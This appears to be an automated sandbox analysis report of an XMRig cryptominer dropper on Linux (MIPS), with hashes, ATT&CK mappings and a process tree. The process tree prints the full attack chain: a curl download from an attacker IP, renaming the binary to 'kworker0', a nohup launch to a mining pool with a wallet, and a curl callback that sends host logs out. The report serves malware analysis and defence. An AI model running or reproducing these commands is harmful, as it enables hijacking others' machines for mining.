xmrig | 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379

Analysis

max time kernel
24s
max time network
4s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21/10/2026, 04:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
Size 779B
Sample261021-e6vnbaeb89
SHA256 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
MD5 b3e97321db59a3ca78f8bc58e170b355
SHA1 69bfe4e73f9dc9f113aaf0899efc8cc5b7c31574
SHA512 c294d1da341b6db1d005cd7114a5508aae6c5f20e6d5f9bd95c372d6ab39e2814cc75dd60c20fd7d8067e0a18ffe0160bf2e1945ba634dca0fd43564863ab32d
TLSH
T1FB01FDF4BE20CC74374CC032AA1E527AE48A675B38B76A8AA0D398BC004D992B80D751
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-8.dat	family_xmrig
behavioral4/files/fstream-8.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/kworker0	745	nohup

Enumerates running processes
Discovers information about currently running processes on the system

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
825	ps

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/79/stat	ps
File opened for reading	/proc/329/stat	ps
File opened for reading	/proc/353/status	ps
File opened for reading	/proc/433/stat	ps
File opened for reading	/proc/709/stat	ps
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/71/cmdline	ps
File opened for reading	/proc/227/status	ps
File opened for reading	/proc/227/cmdline	ps
File opened for reading	/proc/239/status	ps
File opened for reading	/proc/356/stat	ps
File opened for reading	/proc/filesystems	stat
File opened for reading	/proc/70/status	ps
File opened for reading	/proc/150/status	ps
File opened for reading	/proc/227/stat	ps
File opened for reading	/proc/239/cmdline	ps
File opened for reading	/proc/tty/drivers	ps
File opened for reading	/proc/679/cmdline	ps
File opened for reading	/proc/702/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/714/stat	ps
File opened for reading	/proc/720/status	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/108/stat	ps
File opened for reading	/proc/326/status	ps
File opened for reading	/proc/353/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/70/stat	ps
File opened for reading	/proc/75/stat	ps
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/353/cmdline	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/124/cmdline	ps
File opened for reading	/proc/662/cmdline	ps
File opened for reading	/proc/679/status	ps
File opened for reading	/proc/702/cmdline	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/75/cmdline	ps
File opened for reading	/proc/352/cmdline	ps
File opened for reading	/proc/382/cmdline	ps
File opened for reading	/proc/386/status	ps
File opened for reading	/proc/662/stat	ps
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/79/cmdline	ps

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
832	curl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/one.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/x.tgz	curl
File opened for modification	/tmp/miner.log	893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
File opened for modification	/tmp/S�@@p�~@8	sh

/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
/tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
1⤵
- Writes file to tmp directory
PID:714
- /bin/date
  date
  2⤵
  PID:716
- /usr/bin/curl
  curl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /usr/bin/stat
  stat -c "%s" /tmp/x.tgz
  2⤵
  - Reads runtime system information
  PID:737
- /bin/tar
  tar xzf x.tgz
  2⤵
  PID:739
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:741
- - /sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /bin/gzip
    gzip -d
    3⤵
    PID:741
- /bin/mv
  mv xmrig-6.22.2/xmrig kworker0
  2⤵
  PID:743
- /bin/chmod
  chmod +x kworker0
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /bin/sleep
  sleep 20
  2⤵
  PID:746
- /usr/bin/nohup
  nohup /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Executes dropped EXE
  PID:745
- /tmp/kworker0
  /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  PID:745
- /bin/sh
  /bin/sh /tmp/kworker0 "--donate-level=0" -o pool.supportxmr.com:3333 -u 463SPAnPEUhf5UcTMZKNFcQR746vXBzekhALuxrycVMWVnZHttfw5sR4vER3NkvTTHTA8zEa5WpdbcW6hLHsjhVxVjMfjmi -p one1 "--threads=2"
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:825
- /bin/grep
  grep -c kworke
  2⤵
  PID:826
- /usr/bin/tail
  tail -c 400 /tmp/one.log
  2⤵
  PID:828
- /usr/bin/tr
  tr -d "\"n"
  2⤵
  PID:829
- /usr/bin/tr
  tr "\"" "\"" "\"_\""
  2⤵
  PID:831
- /usr/bin/curl
  curl -m 8 "http://195.85.114.192/cb?ip=HOST1&log=peed Time Time Time Curret Dload Upload Total Spet Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 28 3427k 28 976k 0 0 1436k 0 0:00:02 --:--:-- 0:00:02 1475k 100 3427k 100 3427k 0 0 3281k 0 0:00:01 0:00:01 --:--:-- 3343k dl rc=0 size=3509741 tar ok lauched procs=12"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

miner.log

Path /tmp/miner.log
Size 53B
SHA256 cd4fc8b42b8f6d1cda88bd45d18754b17c7bab3dc2edd1ebf8c0772302c4d1a3
MD5 7972308cc4bf789701854045187ea7a5
SHA1 a9f4a1f163e512399d02ca17a7ff62d724f096c3
SHA512 bcc01d52f530e48eeb441e2bcf178b05633af3509259391dcb89e02eeacfd5816de20b40e4dbb628ca9ee21ab66df084fdb085b6ee375fe51bf864ccb0fa777d
MD5 SHA1 SHA512

Submit Download

miner.log

Path /tmp/miner.log
Size 127B
SHA256 57d5bdd729640f67141cd10540b6fcad5ec16f1e3995d462550a6cd3dda29e38
MD5 829842534587055b4ce9aa862e3db8e7
SHA1 5940fac68338a91da30537f3f3d98616fcfd124a
SHA512 7d6b480b586b147d0cb7240408fb54998b59a14f29fa9187a013ce3de69dc4eb9201542543432eff5b799c62a76b0983793e1273a52529c635352b7c2b28981d
TLSH
T1C0B0121D0DC2C5C4371001F44E600760C1010EBF1EF32117085FC03B40C7C008C54748
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 483B
SHA256 98ae71aebc16b1717d129d00583cb026be73cf194ca5177fcb69ba1e5bdcae78
MD5 a215ea8f81dae3b6a18e0d40c96b2951
SHA1 1a847976f4ce6c19f40c1aa1cf144f0aaf81e6c1
SHA512 49554b8d3b3169b4903a95f66871e325c49e4e58ee8789d382a613cce1975f053b5569a6eddb53d8f854ea89f290c992c1185340bba5d6a88bd5491c3d8e0039
TLSH
T1FDF0ED0A0E24412EA1F5E1407650EBBA7388828A1D62E58736CD01C8E77A352CFD7182
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 41B
SHA256 af8e90aca75752e7d8fd4f31ff107dd55ae3174daf08bcff28564d099a7d49ed
MD5 98a0eb9ba75a67571936a6ec272978eb
SHA1 3e4d476f40f32430f30062151d09058c3ca71e97
SHA512 14d7553f03f8016a0ca7f35f483a522727ccd90af71bad6b620caf90a4e10514d2788d918126224d3ec9743f750530bb449e5623941626c80bb3fbcbb3069bfe
MD5 SHA1 SHA512

Submit Download

one.log

Path /tmp/one.log
Size 437B
SHA256 fbc41b65fc88f2034e7fc359d910518a9e5e826637ec23f5b4bbc9f24ed48f33
MD5 e668f9a1a400a15b01971ca30d4aebec
SHA1 774f02daace64c1337bcc060229d7c51d0c9ff9e
SHA512 61b5c5c8db3b9002587d9bf1834a61c79d21bf07f54a870357ecae5e006ae35da881466336ddfae818d44f9cad876a66f44a85bdf36acad64c29c22d7f4c9213
TLSH
T1C9E09A090E24826FA2F5E140B240EABAB78C818E2C12E48736CD01C8D7B6753CAD72C2
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 458B
SHA256 2a2f2705187a859d90666fcc9c6766edeee32c55d2d64347a8ec7999eb34bf8e
MD5 34ce84027c4dfb673cb0b955332843ee
SHA1 9fd8d60d593cf3c42c84233de77fe83b8986dacb
SHA512 8cbdc6dd9591da0b005d7028b312651ae3fa6cb0baa1dd4878b84340c51694d0b1e9dd7dd917370c1e4bd5f49e28422edc605b40b589d22b0acd2284b0b2a484
TLSH
T1B4F0924A0E24416FA5F5E1507650EBBA774C818E1D22E4C735CD11C8D776753CED71C6
MD5 SHA1 SHA512 TLSH

Submit Download

one.log

Path /tmp/one.log
Size 465B
SHA256 c97fe0a964c816c72ae84202790ee441129d008b7fb2891c60a8dd32ab47e22f
MD5 9feaf755411d786874f8e35ce9d79264
SHA1 4756a3cceb332fdfd8dbf33818cddb18b98ae4d7
SHA512 e2f8759bac3f35aacc60341fbcf2404b95dd238a34a0de8008bfa5b0f2ce9732b14e99c99e2300927be943e20cb52bf271ef7315fc84d8e9f2b33d03754565fa
TLSH
T155F0ED0A0E20412EA1F4E1407240EBBA7348828A1C22E48736CD01C8E776352CED7182
MD5 SHA1 SHA512 TLSH

Submit Download

x.tgz

Path /tmp/x.tgz
Size 3.3MB
SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
MD5 8feb9a1c7da97b6e0d254d93da37371d
SHA1 090510d9ac1aedbce99fe98cc7396cfcfe6a3951
SHA512 2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db
SSDEEP 98304:z76rYWTjsJINfKYi8t4jQ8Vf1nShTOSBU+:z76NfN7TW2T3F
TLSH
T14CF5335F9711B7C7122820EE5362B60A4B0C6895EC167BC4A5F1692A366F1CF237FD23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SHA256SUMS

Path /tmp/xmrig-6.22.2/SHA256SUMS
Size 150B
SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
MD5 554d057fe1c4eab2071450cf6c434dc5
SHA1 9fa4d5aa72d698f72d105fce0bd44657f244c7e6
SHA512 be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8
TLSH
T15FC08C52463CC4515422C923AA91DD94832636122753598940ABA21696AAE02CDB3C20
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path /tmp/xmrig-6.22.2/config.json
Size 2KB
SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
MD5 66f38c96a4901e7b345787c447842b3e
SHA1 2aa9b4d1bd2edd5d81bd9725e9318edaee67531f
SHA512 71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f
TLSH
T16E419E25C9781CFA0295A0BC88EDA2934628C1075F593C7CB54C995C2F0E73E76B6BE2
MD5 SHA1 SHA512 TLSH

Submit Download

xmrig

Path /tmp/xmrig-6.22.2/xmrig
Size 7.9MB
SHA256 b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
MD5 8f4fff0ded94f1141768220906abfbb8
SHA1 ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA512 0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee
SSDEEP 98304:yr6P2CZlp4ledj/mf7ukUzX093B9VK/OQGthOlgPEWi1MVNWoGt7rPAW3R1lrepM:bl4lcmDi1WIPFCBNcJ7oEkLsQ
TLSH
T134866C47B5E318FDC19AC470472FD6A3BD7078A84221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads